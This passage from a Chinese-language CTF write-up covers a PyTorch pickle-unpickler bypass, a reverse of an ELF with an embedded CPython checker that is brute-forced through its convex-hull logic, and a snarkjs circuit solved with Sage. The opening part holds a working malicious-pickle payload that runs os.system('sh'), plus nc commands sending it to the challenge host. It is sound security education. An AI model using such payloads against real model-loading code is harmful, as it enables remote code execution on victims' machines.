            "torch.nn.modules.pooling.MaxPool2d",
            "torch._utils._rebuild_parameter",
            "torch._utils._rebuild_tensor_v2",
            "torch.Size",
            "torch.BFloat16Storage",
            "torch.BoolStorage",
            "torch.CharStorage",
            "torch.ComplexDoubleStorage",
            "torch.ComplexFloatStorage",
            "torch.HalfStorage",
            "torch.IntStorage",
            "torch.LongStorage",
            "torch.QInt32Storage",
            "torch.QInt8Storage",
            "torch.QUInt8Storage",
            "torch.ShortStorage",
            "torch.storage._StorageBase",
            "torch.ByteStorage",
            "torch.DoubleStorage",
            "torch.FloatStorage",
            "torch._C.HalfStorageBase",
            "torch._C.QInt32StorageBase",
            "torch._C.QInt8StorageBase",
            "torch.storage._TypedStorage",
        ):
            return super().find_class(module, name)
        else:
            raise Exception("Hacking detected!")


# replace find_class with our safe one
_load_co_consts = list(torch.serialization._load.__code__.co_consts)
unpickler_co_consts = list(_load_co_consts[7].co_consts)
unpickler_co_consts[1] = UnpicklerWrapper.find_class.__code__
_load_co_consts[7] = _load_co_consts[7].replace(co_consts=tuple(unpickler_co_consts))
torch.serialization._load.__code__ = torch.serialization._load.__code__.replace(co_consts=tuple(_load_co_consts))

# old stuff is dangerous
torch.serialization._legacy_load = None

pkl = Compiler(
    source="""
from torch import FloatStorage
BUILD(FloatStorage,(None,{"__module__": "__import__('os').system('sh')"}))
FloatStorage()
"""
).compile()
with zipfile.ZipFile("out", "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr("archive/version", b"3")
    zf.writestr("archive/data.pkl", pkl)

model = torch.load("out")
print(model)
# (base64 out | tr -d '\n'; echo; cat) | python arson.py
# (base64 out | tr -d '\n'; echo; cat) | nc mc.ax 31064
# (base64 out | tr -d '\n'; echo; cat) | nc mc.ax 31065
# arson: hope{pr1ckly_pickl3s}
# reckless arson: hope{m4ny_more_pr1cklier_pickles}

用 zip 是因為新 format 就只是個 zip，裡面放 archive/version 和 archive/data.pkl 兩個檔案。這部分用 torch.save 存個東西就能看了出來。

rev

better-llvm

這題有個 ELF 要 reverse，執行後可知它是 flag checker 類型的題目。IDA 打開知道它有 embed CPython 在裡面。

首先用 fgets 讀長度 21 的字串然後檢查第一個字元是不是 h，然後 Py_Initialize() 之後用 PyRun_StringFlags 執行:

def dicegang():
    x = input().encode()
    for (a, b) in zip(x, bytes.fromhex('4e434e0a53455f0a584f4b4646530a5e424344410a435e0d4e0a484f0a5e424b5e0a4f4b5953')):
        if a ^ 42 != b:
            return False
        return True

之後可以看到它拿 dicegang 的 code object 出來，改了一大堆東西包括 co_consts 還有 co_code 等等。不過到最後又會用 PyRun_StringFlags 執行這段 code 來 check flag:

if dicegang():
    print('ok fine you got the flag')
else:
    print('nope >:)')

很明顯的，到這個時候 dicegang 函數已經不是原本的函數了，需要想辦法把 bytecode dump 出來才行。方法也很簡單，因為這段 code 是 string literal，直接寫個 python script 把那段字串直接 replace 然後寫到新的 elf 就可以了。唯一需要注意的是 replace 之後的新字串長度需要小於等於原本的字串才行，所以最簡單就可以用 exec(input())。

然後之後可以用 import dis;dis.dis(dicegang) 會發現它出現 IndexError: tuple index out of range，顯然不正常。所以分別把 co_code co_consts co_names co_varnames dump 出來可以看到:

          0 LOAD_CONST               4 (4)
          2 LOAD_CONST               0 (0)
          4 ROT_TWO
          6 BINARY_SUBSCR
          8 LOAD_CONST               1 (1)
         10 ROT_TWO
         12 BINARY_SUBSCR
         14 UNPACK_SEQUENCE          2
         16 STORE_FAST               0 (0)
         18 STORE_FAST               1 (1)
         20 LOAD_CONST               5 (5)
         22 LOAD_CONST               6 (6)
         24 BUILD_SLICE              0
         26 LOAD_CONST               0 (0)
         28 ROT_TWO
         30 BINARY_SUBSCR
         32 GET_ITER
    >>   34 FOR_ITER                57 (to 150)
         36 LOAD_CONST               1 (1)
         38 ROT_TWO
         40 BINARY_SUBSCR
         42 UNPACK_SEQUENCE          2
         44 STORE_FAST               2 (2)
         46 STORE_FAST               3 (3)
         48 LOAD_FAST                2 (2)
         50 LOAD_FAST                0 (0)
         52 BINARY_SUBTRACT
         54 STORE_FAST               2 (2)
         56 LOAD_FAST                3 (3)
         58 LOAD_FAST                1 (1)
         60 BINARY_SUBTRACT
         62 STORE_FAST               3 (3)
         64 LOAD_CONST               1 (1)
         66 GET_ITER
    >>   68 FOR_ITER                27 (to 124)
         70 LOAD_CONST               1 (1)
         72 ROT_TWO
         74 BINARY_SUBSCR
         76 UNPACK_SEQUENCE          2
         78 STORE_FAST               4 (4)
         80 STORE_FAST               5 (5)
         82 LOAD_FAST                4 (4)
         84 LOAD_FAST                0 (0)
         86 BINARY_SUBTRACT
         88 STORE_FAST               4 (4)
         90 LOAD_FAST                5 (5)
         92 LOAD_FAST                1 (1)
         94 BINARY_SUBTRACT
         96 STORE_FAST               5 (5)
         98 LOAD_FAST                2 (2)
        100 LOAD_FAST                5 (5)
        102 BINARY_MULTIPLY
        104 LOAD_FAST                3 (3)
        106 LOAD_FAST                4 (4)
        108 BINARY_MULTIPLY
        110 BINARY_SUBTRACT
        112 LOAD_CONST               4 (4)
        114 COMPARE_OP               5 (>=)
        116 POP_JUMP_IF_TRUE        61 (to 122)
        118 LOAD_CONST               2 (2)
        120 RETURN_VALUE
    >>  122 JUMP_ABSOLUTE           34 (to 68)
    >>  124 LOAD_FAST                2 (2)
        126 LOAD_FAST                0 (0)
        128 BINARY_ADD
        130 STORE_FAST               2 (2)
        132 LOAD_FAST                3 (3)
        134 LOAD_FAST                1 (1)
        136 BINARY_ADD
        138 STORE_FAST               3 (3)
        140 LOAD_FAST                2 (2)
        142 STORE_FAST               0 (0)
        144 LOAD_FAST                3 (3)
        146 STORE_FAST               1 (1)
        148 JUMP_ABSOLUTE           17 (to 34)
    >>  150 LOAD_CONST               3 (3)
        152 RETURN_VALUE

co_varnames = ()
co_names = ()
co_consts = ('haaaaaaaaaaaaaaaaaaaa', {'a': (13, 22), 'b': (-13, -9), 'c': (42, 15), 'd': (40, 0), 'e': (-47, 8), 'f': (-20, -29), 'g': (14, -36), 'h': (-1, 48), 'i': (9, -27), 'j': (42, -22), 'k': (-34, -9), 'l': (44, -5), 'm': (46, 1), 'n': (22, -39), 'o': (-25, 42), 'p': (-44, 14), 'q': (8, 14), 'r': (1, 2), 's': (-17, -39), 't': (-14, 31), 'u': (9, 21), 'v': (43, -18), 'w': (40, 12), 'x': (33, 9), 'y': (-28, 25), 'z': (10, -17), 'A': (35, -20), 'B': (4, -32), 'C': (-42, -22), 'D': (21, 19), 'E': (3, 26), 'F': (-8, -6), 'G': (-32, -2), 'H': (-18, -42), 'I': (27, -39), 'J': (-10, 26), 'K': (4, 41), 'L': (-21, 34), 'M': (-27, 10), 'N': (13, -47), 'O': (11, -47), 'P': (-33, -34), 'Q': (-13, -33), 'R': (26, -34), 'S': (36, -29), 'T': (-27, -40), 'U': (-13, -42), 'V': (42, 23), 'W': (-32, -24), 'X': (-12, -23), 'Y': (-29, -39), 'Z': (8, 30), '0': (34, 8), '1': (-37, -13), '2': (25, 38), '3': (-34, -7), '4': (-13, 13), '5': (1, -25), '6': (-30, 33), '7': (27, -10), '8': (-5, 37), '9': (37, 1), '_': (20, -46), '{': (-49, -2), '}': (9, 45)}, False, True, 0, 1, None)

這邊可以看出它問題出在 STORE_FAST, LOAD_FAST 最高會存取到 5，所以要把 co_varnames 隨便塞成有 6 個 names 的 tuple 才行，之後再 dis 就能成功了:

1	dicegang.__code__ = dicegang.__code__.replace(co_varnames=('a','b','c','d','e','f'));import dis;dis.dis(dicegang)

完整 patch binary 的 code:

import os

with open('chall', 'rb') as f:
    data = f.read()
target = b"if dicegang():\n print('ok fine you got the flag')\nelse:\n print('nope >:)')"
# payload = b'import dis;dis.dis(dicegang.__code__.co_code)'.ljust(len(target), b' ')
# payload = b'print(dicegang.__code__.co_consts)'.ljust(len(target), b' ')
payload = b'exec(input())'.ljust(len(target), b' ')
assert len(payload) <= len(target)
data = data.replace(target, payload)

with open('chall2', 'wb') as f:
    f.write(data)
os.system('chmod +x ./chall2')

# haaaaaaaaaaaaaaaaaaaa
# dicegang.__code__ = dicegang.__code__.replace(co_varnames=('a','b','c','d','e','f'));import dis;dis.dis(dicegang)

這邊 dis 出來的結果是這樣:

2           0 LOAD_CONST               4 (0)
            2 LOAD_CONST               0 ('haaaaaaaaaaaaaaaaaaaa')
            4 ROT_TWO
            6 BINARY_SUBSCR
            8 LOAD_CONST               1 ({'a': (13, 22), 'b': (-13, -9), 'c': (42, 15), 'd': (40, 0), 'e': (-47, 8), 'f': (-20, -29), 'g': (14, -36), 'h': (-1, 48), 'i': (9, -27), 'j': (42, -22), 'k': (-34, -9), 'l': (44, -5), 'm': (46, 1), 'n': (22, -39), 'o': (-25, 42), 'p': (-44, 14), 'q': (8, 14), 'r': (1, 2), 's': (-17, -39), 't': (-14, 31), 'u': (9, 21), 'v': (43, -18), 'w': (40, 12), 'x': (33, 9), 'y': (-28, 25), 'z': (10, -17), 'A': (35, -20), 'B': (4, -32), 'C': (-42, -22), 'D': (21, 19), 'E': (3, 26), 'F': (-8, -6), 'G': (-32, -2), 'H': (-18, -42), 'I': (27, -39), 'J': (-10, 26), 'K': (4, 41), 'L': (-21, 34), 'M': (-27, 10), 'N': (13, -47), 'O': (11, -47), 'P': (-33, -34), 'Q': (-13, -33), 'R': (26, -34), 'S': (36, -29), 'T': (-27, -40), 'U': (-13, -42), 'V': (42, 23), 'W': (-32, -24), 'X': (-12, -23), 'Y': (-29, -39), 'Z': (8, 30), '0': (34, 8), '1': (-37, -13), '2': (25, 38), '3': (-34, -7), '4': (-13, 13), '5': (1, -25), '6': (-30, 33), '7': (27, -10), '8': (-5, 37), '9': (37, 1), '_': (20, -46), '{': (-49, -2), '}': (9, 45)})

3          10 ROT_TWO
           12 BINARY_SUBSCR
           14 UNPACK_SEQUENCE          2
           16 STORE_FAST               0 (a)
           18 STORE_FAST               1 (b)
           20 LOAD_CONST               5 (1)
           22 LOAD_CONST               6 (None)
           24 BUILD_SLICE              0
           26 LOAD_CONST               0 ('haaaaaaaaaaaaaaaaaaaa')
           28 ROT_TWO
           30 BINARY_SUBSCR
           32 GET_ITER

4     >>   34 FOR_ITER                57 (to 150)
           36 LOAD_CONST               1 ({'a': (13, 22), 'b': (-13, -9), 'c': (42, 15), 'd': (40, 0), 'e': (-47, 8), 'f': (-20, -29), 'g': (14, -36), 'h': (-1, 48), 'i': (9, -27), 'j': (42, -22), 'k': (-34, -9), 'l': (44, -5), 'm': (46, 1), 'n': (22, -39), 'o': (-25, 42), 'p': (-44, 14), 'q': (8, 14), 'r': (1, 2), 's': (-17, -39), 't': (-14, 31), 'u': (9, 21), 'v': (43, -18), 'w': (40, 12), 'x': (33, 9), 'y': (-28, 25), 'z': (10, -17), 'A': (35, -20), 'B': (4, -32), 'C': (-42, -22), 'D': (21, 19), 'E': (3, 26), 'F': (-8, -6), 'G': (-32, -2), 'H': (-18, -42), 'I': (27, -39), 'J': (-10, 26), 'K': (4, 41), 'L': (-21, 34), 'M': (-27, 10), 'N': (13, -47), 'O': (11, -47), 'P': (-33, -34), 'Q': (-13, -33), 'R': (26, -34), 'S': (36, -29), 'T': (-27, -40), 'U': (-13, -42), 'V': (42, 23), 'W': (-32, -24), 'X': (-12, -23), 'Y': (-29, -39), 'Z': (8, 30), '0': (34, 8), '1': (-37, -13), '2': (25, 38), '3': (-34, -7), '4': (-13, 13), '5': (1, -25), '6': (-30, 33), '7': (27, -10), '8': (-5, 37), '9': (37, 1), '_': (20, -46), '{': (-49, -2), '}': (9, 45)})
           38 ROT_TWO
           40 BINARY_SUBSCR
           42 UNPACK_SEQUENCE          2
           44 STORE_FAST               2 (c)

5          46 STORE_FAST               3 (d)
           48 LOAD_FAST                2 (c)
           50 LOAD_FAST                0 (a)

4          52 BINARY_SUBTRACT

6          54 STORE_FAST               2 (c)
           56 LOAD_FAST                3 (d)
           58 LOAD_FAST                1 (b)
           60 BINARY_SUBTRACT
           62 STORE_FAST               3 (d)
           64 LOAD_CONST               1 ({'a': (13, 22), 'b': (-13, -9), 'c': (42, 15), 'd': (40, 0), 'e': (-47, 8), 'f': (-20, -29), 'g': (14, -36), 'h': (-1, 48), 'i': (9, -27), 'j': (42, -22), 'k': (-34, -9), 'l': (44, -5), 'm': (46, 1), 'n': (22, -39), 'o': (-25, 42), 'p': (-44, 14), 'q': (8, 14), 'r': (1, 2), 's': (-17, -39), 't': (-14, 31), 'u': (9, 21), 'v': (43, -18), 'w': (40, 12), 'x': (33, 9), 'y': (-28, 25), 'z': (10, -17), 'A': (35, -20), 'B': (4, -32), 'C': (-42, -22), 'D': (21, 19), 'E': (3, 26), 'F': (-8, -6), 'G': (-32, -2), 'H': (-18, -42), 'I': (27, -39), 'J': (-10, 26), 'K': (4, 41), 'L': (-21, 34), 'M': (-27, 10), 'N': (13, -47), 'O': (11, -47), 'P': (-33, -34), 'Q': (-13, -33), 'R': (26, -34), 'S': (36, -29), 'T': (-27, -40), 'U': (-13, -42), 'V': (42, 23), 'W': (-32, -24), 'X': (-12, -23), 'Y': (-29, -39), 'Z': (8, 30), '0': (34, 8), '1': (-37, -13), '2': (25, 38), '3': (-34, -7), '4': (-13, 13), '5': (1, -25), '6': (-30, 33), '7': (27, -10), '8': (-5, 37), '9': (37, 1), '_': (20, -46), '{': (-49, -2), '}': (9, 45)})
           66 GET_ITER
      >>   68 FOR_ITER                27 (to 124)
           70 LOAD_CONST               1 ({'a': (13, 22), 'b': (-13, -9), 'c': (42, 15), 'd': (40, 0), 'e': (-47, 8), 'f': (-20, -29), 'g': (14, -36), 'h': (-1, 48), 'i': (9, -27), 'j': (42, -22), 'k': (-34, -9), 'l': (44, -5), 'm': (46, 1), 'n': (22, -39), 'o': (-25, 42), 'p': (-44, 14), 'q': (8, 14), 'r': (1, 2), 's': (-17, -39), 't': (-14, 31), 'u': (9, 21), 'v': (43, -18), 'w': (40, 12), 'x': (33, 9), 'y': (-28, 25), 'z': (10, -17), 'A': (35, -20), 'B': (4, -32), 'C': (-42, -22), 'D': (21, 19), 'E': (3, 26), 'F': (-8, -6), 'G': (-32, -2), 'H': (-18, -42), 'I': (27, -39), 'J': (-10, 26), 'K': (4, 41), 'L': (-21, 34), 'M': (-27, 10), 'N': (13, -47), 'O': (11, -47), 'P': (-33, -34), 'Q': (-13, -33), 'R': (26, -34), 'S': (36, -29), 'T': (-27, -40), 'U': (-13, -42), 'V': (42, 23), 'W': (-32, -24), 'X': (-12, -23), 'Y': (-29, -39), 'Z': (8, 30), '0': (34, 8), '1': (-37, -13), '2': (25, 38), '3': (-34, -7), '4': (-13, 13), '5': (1, -25), '6': (-30, 33), '7': (27, -10), '8': (-5, 37), '9': (37, 1), '_': (20, -46), '{': (-49, -2), '}': (9, 45)})
           72 ROT_TWO
           74 BINARY_SUBSCR
           76 UNPACK_SEQUENCE          2
           78 STORE_FAST               4 (e)
           80 STORE_FAST               5 (f)
           82 LOAD_FAST                4 (e)
           84 LOAD_FAST                0 (a)
           86 BINARY_SUBTRACT
           88 STORE_FAST               4 (e)
           90 LOAD_FAST                5 (f)
           92 LOAD_FAST                1 (b)
           94 BINARY_SUBTRACT
           96 STORE_FAST               5 (f)
           98 LOAD_FAST                2 (c)
          100 LOAD_FAST                5 (f)
          102 BINARY_MULTIPLY
          104 LOAD_FAST                3 (d)
          106 LOAD_FAST                4 (e)
          108 BINARY_MULTIPLY
          110 BINARY_SUBTRACT
          112 LOAD_CONST               4 (0)
          114 COMPARE_OP               5 (>=)
          116 POP_JUMP_IF_TRUE        61 (to 122)
          118 LOAD_CONST               2 (False)
          120 RETURN_VALUE
      >>  122 JUMP_ABSOLUTE           34 (to 68)
      >>  124 LOAD_FAST                2 (c)
          126 LOAD_FAST                0 (a)
          128 BINARY_ADD
          130 STORE_FAST               2 (c)
          132 LOAD_FAST                3 (d)
          134 LOAD_FAST                1 (b)
          136 BINARY_ADD
          138 STORE_FAST               3 (d)
          140 LOAD_FAST                2 (c)
          142 STORE_FAST               0 (a)
          144 LOAD_FAST                3 (d)
          146 STORE_FAST               1 (b)
          148 JUMP_ABSOLUTE           17 (to 34)
      >>  150 LOAD_CONST               3 (True)
          152 RETURN_VALUE

直接人工一行一行讀，然後寫回 python 長這樣:

def dicegang():
    inp = "haaaaaaaaaaaaaaaaaaaa"
    dt = {
        "a": (13, 22),
        "b": (-13, -9),
        "c": (42, 15),
        "d": (40, 0),
        "e": (-47, 8),
        "f": (-20, -29),
        "g": (14, -36),
        "h": (-1, 48),
        "i": (9, -27),
        "j": (42, -22),
        "k": (-34, -9),
        "l": (44, -5),
        "m": (46, 1),
        "n": (22, -39),
        "o": (-25, 42),
        "p": (-44, 14),
        "q": (8, 14),
        "r": (1, 2),
        "s": (-17, -39),
        "t": (-14, 31),
        "u": (9, 21),
        "v": (43, -18),
        "w": (40, 12),
        "x": (33, 9),
        "y": (-28, 25),
        "z": (10, -17),
        "A": (35, -20),
        "B": (4, -32),
        "C": (-42, -22),
        "D": (21, 19),
        "E": (3, 26),
        "F": (-8, -6),
        "G": (-32, -2),
        "H": (-18, -42),
        "I": (27, -39),
        "J": (-10, 26),
        "K": (4, 41),
        "L": (-21, 34),
        "M": (-27, 10),
        "N": (13, -47),
        "O": (11, -47),
        "P": (-33, -34),
        "Q": (-13, -33),
        "R": (26, -34),
        "S": (36, -29),
        "T": (-27, -40),
        "U": (-13, -42),
        "V": (42, 23),
        "W": (-32, -24),
        "X": (-12, -23),
        "Y": (-29, -39),
        "Z": (8, 30),
        "0": (34, 8),
        "1": (-37, -13),
        "2": (25, 38),
        "3": (-34, -7),
        "4": (-13, 13),
        "5": (1, -25),
        "6": (-30, 33),
        "7": (27, -10),
        "8": (-5, 37),
        "9": (37, 1),
        "_": (20, -46),
        "{": (-49, -2),
        "}": (9, 45),
    }
    a, b = dt[inp[0]]
    for x in inp[1:]:
        c, d = dt[x]
        c = c - a
        d = d - b
        for y in dt:
            e, f = dt[y]
            e = e - a
            f = f - b
            if c * f - d * e >= 0:
                continue
            else:
                return False
        c = c + a
        d = d + b
        a = c
        b = d
    return True

inp 那個字串是原本 fgets 讀進來的字串，它會被塞到 co_consts 裡面當輸入。所以這樣可得知這個 check function 是一個一個字元檢查的，雖然不是很懂它的原理，但是它一旦出現錯誤字元就會 early return，所以透過它迴圈的次數去一個一個字元 brute force 就能找出 flag 了:

dt = {
    "a": (13, 22),
    "b": (-13, -9),
    "c": (42, 15),
    "d": (40, 0),
    "e": (-47, 8),
    "f": (-20, -29),
    "g": (14, -36),
    "h": (-1, 48),
    "i": (9, -27),
    "j": (42, -22),
    "k": (-34, -9),
    "l": (44, -5),
    "m": (46, 1),
    "n": (22, -39),
    "o": (-25, 42),
    "p": (-44, 14),
    "q": (8, 14),
    "r": (1, 2),
    "s": (-17, -39),
    "t": (-14, 31),
    "u": (9, 21),
    "v": (43, -18),
    "w": (40, 12),
    "x": (33, 9),
    "y": (-28, 25),
    "z": (10, -17),
    "A": (35, -20),
    "B": (4, -32),
    "C": (-42, -22),
    "D": (21, 19),
    "E": (3, 26),
    "F": (-8, -6),
    "G": (-32, -2),
    "H": (-18, -42),
    "I": (27, -39),
    "J": (-10, 26),
    "K": (4, 41),
    "L": (-21, 34),
    "M": (-27, 10),
    "N": (13, -47),
    "O": (11, -47),
    "P": (-33, -34),
    "Q": (-13, -33),
    "R": (26, -34),
    "S": (36, -29),
    "T": (-27, -40),
    "U": (-13, -42),
    "V": (42, 23),
    "W": (-32, -24),
    "X": (-12, -23),
    "Y": (-29, -39),
    "Z": (8, 30),
    "0": (34, 8),
    "1": (-37, -13),
    "2": (25, 38),
    "3": (-34, -7),
    "4": (-13, 13),
    "5": (1, -25),
    "6": (-30, 33),
    "7": (27, -10),
    "8": (-5, 37),
    "9": (37, 1),
    "_": (20, -46),
    "{": (-49, -2),
    "}": (9, 45),
}


def dicegang(inp):
    i = 0
    a, b = dt[inp[0]]
    for x in inp[1:]:
        i += 1
        c, d = dt[x]
        c = c - a
        d = d - b
        for y in dt:
            e, f = dt[y]
            e = e - a
            f = f - b
            if c * f - d * e >= 0:
                continue
            else:
                return i
        c = c + a
        d = d + b
        a = c
        b = d
    return i + 1


flag = "hope{"
while not flag.endswith("}"):
    for c in dt.keys():
        if dicegang((flag + c).ljust(21, "a")) > len(flag) and c != flag[-1]:
            flag += c
            break
    print(flag)
# hope{CPYTHON_ISjvmV2}

另外是可以看出它的 c * f - d * e 其實是兩向量的外積，所以它應該是在判斷方向，那麼那些數字的原理到底是什麼呢? 其實稍微 plot 一下那些點就能看出 flag chars 正好構成一個 convex hull，所以它外積就只是在檢查輸入的點是否符合 convex hull 的性質而已。

dumb

這題是一個使用 snarkjs (ZKP 的 zkSNARK 的一個 implementation) 弄的 flag checker，輸入是一個 32 bits 的字串然後它會告訴你對不對。輸入會作為某個現成 circuit 的輸入進去，然後輸出的結果是一個 public key，裡面就一個值而已，如果那個值是 1 那麼就代表 flag 是正確的。

說實在的，我不懂什麼是 ZKP 也不知道什麼是 zkSNARK，但是讀了一下 Create your first zero-knowledge snark circuit using circom and snarkjs 發現它有個指令可以將 circuit 輸出為數學式:

1	snarkjs printconstraints -r circuit.r1cs -s circuit.sym

不過這個指令在我現在安裝的版本已經失效了，所以參考了一下 --help 中的說明找到了一個類似功能的指令 snarkjs rp <r1cs> <sym>，發現它確實能輸出一堆數學式來:

> snarkjs rp parts/main.r1cs parts/main.sym
[INFO]  snarkJS: [ 21888242871839275222246405745257275088548364400416034343698204186575808495616main.flag[0] ] * [ main.flag[1] ] - [ 21888242871839275222246405745257275088548364400416034343698204186575808495616main.k1[0] ] = 0
[INFO]  snarkJS: [ 21888242871839275222246405745257275088548364400416034343698204186575808495616main.flag[1] ] * [ main.flag[2] ] - [ 21888242871839275222246405745257275088548364400416034343698204186575808495616main.k1[1] ] = 0
...

可以看出它確實有把式子輸出出來，但是這樣相當難閱讀，所以寫個 python 把它轉換一下:

# PATH=node_modules/.bin:$PATH snarkjs r1cs print parts/main.r1cs parts/main.sym | sed -e 's/\x1b\[[0-9;]*m//g' > out
import re

with open("out") as f:
    for l in f:
        l = l.removeprefix("[INFO]  snarkJS: ").strip()
        l = l.replace("main.", "").replace("[ ", "(").replace(" ]", ")")
        l = re.sub(r"(\d)([a-z])", r"\1*\2", l)
        print(l)
# python parse.py > eqs.txt

得到這樣的結果，紀錄在 eqs.txt 中:

1
2
3

(21888242871839275222246405745257275088548364400416034343698204186575808495616*flag[0]) * (flag[1]) - (21888242871839275222246405745257275088548364400416034343698204186575808495616*k1[0]) = 0
(21888242871839275222246405745257275088548364400416034343698204186575808495616*flag[1]) * (flag[2]) - (21888242871839275222246405745257275088548364400416034343698204186575808495616*k1[1]) = 0
...

在裡面可以看到 21888242871839275222246405745257275088548364400416034343698204186575808495616 這個數很常出現，而題目給的檔案裏面又有給一個 verification_key.json，裡面寫了 "curve": "bn128"。這代表它可能裡面是用 bn128 這條橢圓曲線實作的，而 Google 一下可知它的 order q 為 21888242871839275222246405745257275088548364400416034343698204186575808495617，正好是前面那個數字減一，因此可以推測這些等式都是下的運算，而那個數代表的是負一。

整理一下可知第一行的等式其實就只是 flag[0] * flag[1] = k1[0]，後面也以此類推到 k2,k3,k4。而等式的最後一行有個變數叫 correct，可推測那個就是 public key json 輸出的那個數。所以現在的目標就是找出一組輸入 flag[0] ~ flag[31] 使得最後 correct 的值為 1，這樣就變成數學問題了。

首先是 flag -> k1, k1 -> k2, k2 -> k3 的關係都相當好推，只是兩兩相鄰的樹相乘而已。最後一部份關於 k4 的部分比較多變化，但是一下可以字串處理一下讓它可以在 Sage 中直接 eval，然後透過預先設置好適當的變數之後就能得到一個多項式系統。

因為 k4 的部分沒那麼好直接表示出來，所以我設的變數包括了 correct, flag, k4。在 sage 中觀察一下這個系統可知它不是線性的，所以沒辦法很直接的解出來，用 groebner basis 之類的也會花很多時間結果什麼都跑不出來。

觀察一下可以發現它有像是這樣的多項式:

1
2
3

-f_0*f_1^4*f_2^6*f_3^4*f_4 + 19762700069597185*f_0*f_1^3*f_2^3*f_3 + 20182628090806273*f_1*f_2^3*f_3^3*f_4 + k4_1 + 21888242871839275222246405745257275088548364001552808768866971747434827354112
f_2*f_3^3*f_4^3*f_5*k4_1 + 21888242871839275222246405745257275088548364400416034343698180566017234982176*k4_1 + k4_2
...

能看出相鄰位置的 flag 字元會聚集在一起，所以透過已知的 flag format hope{...} 帶入一些 f_i 的值進去之後就有些 k4_i 可以直接解出來，且他們的值很神奇的都是 1，所以合理推測所有個 k4 應該都是 1。

而在假設所有 k4 都等於 1 的情況下再透過其他的已知字元帶入又會出現一些單變數多項式(例如前面的第二式)，直接解開也會發現它的範圍也符合，因此就這樣以此類推就能解出整個 flag 了。

q = 21888242871839275222246405745257275088548364400416034343698204186575808495617
fn = [f"f_{i}" for i in range(32)]
k4n = [f"k4_{i}" for i in range(32)]
P = PolynomialRing(GF(q), "correct," + ",".join(fn + k4n), order="lex")
gs = P.gens()
correct = gs[0]
flag = gs[1 : 1 + 32]
k4 = gs[1 + 32 : 1 + 32 + 32]
k1 = [flag[i] * flag[(i + 1) % 32] for i in range(32)]
k2 = [k1[i] * k1[(i + 1) % 32] for i in range(32)]
k3 = [k2[i] * k2[(i + 1) % 32] for i in range(32)]

with open("eqs.txt") as f:
    polys = []
    for l in f:
        l = l.replace(" = 0", "").strip()
        if "k4" in l:
            f = eval(l)
            polys.append(f)
            print(f)
# somehow guessed that k4 is always 1
subs = {k: 1 for k in k4}
subs.update({correct: 1})
subs.update({a: b for a, b in zip(flag, b"hope{")})
for _ in range(32):
    print(_)
    for f in polys:
        ff = f.subs(subs)
        if not getattr(ff, "nvariables", None):
            continue
        if ff.nvariables() == 1:
            vv = ff.univariate_polynomial().roots(multiplicities=False)
            v = ff.variables()[0]
            subs.update({v: vv[0]})
            print(v, vv)
            print(subs)
            break

print(bytes([subs[f] for f in flag]))
# hope{n0t_so_s3cret_aft3r_4ll...}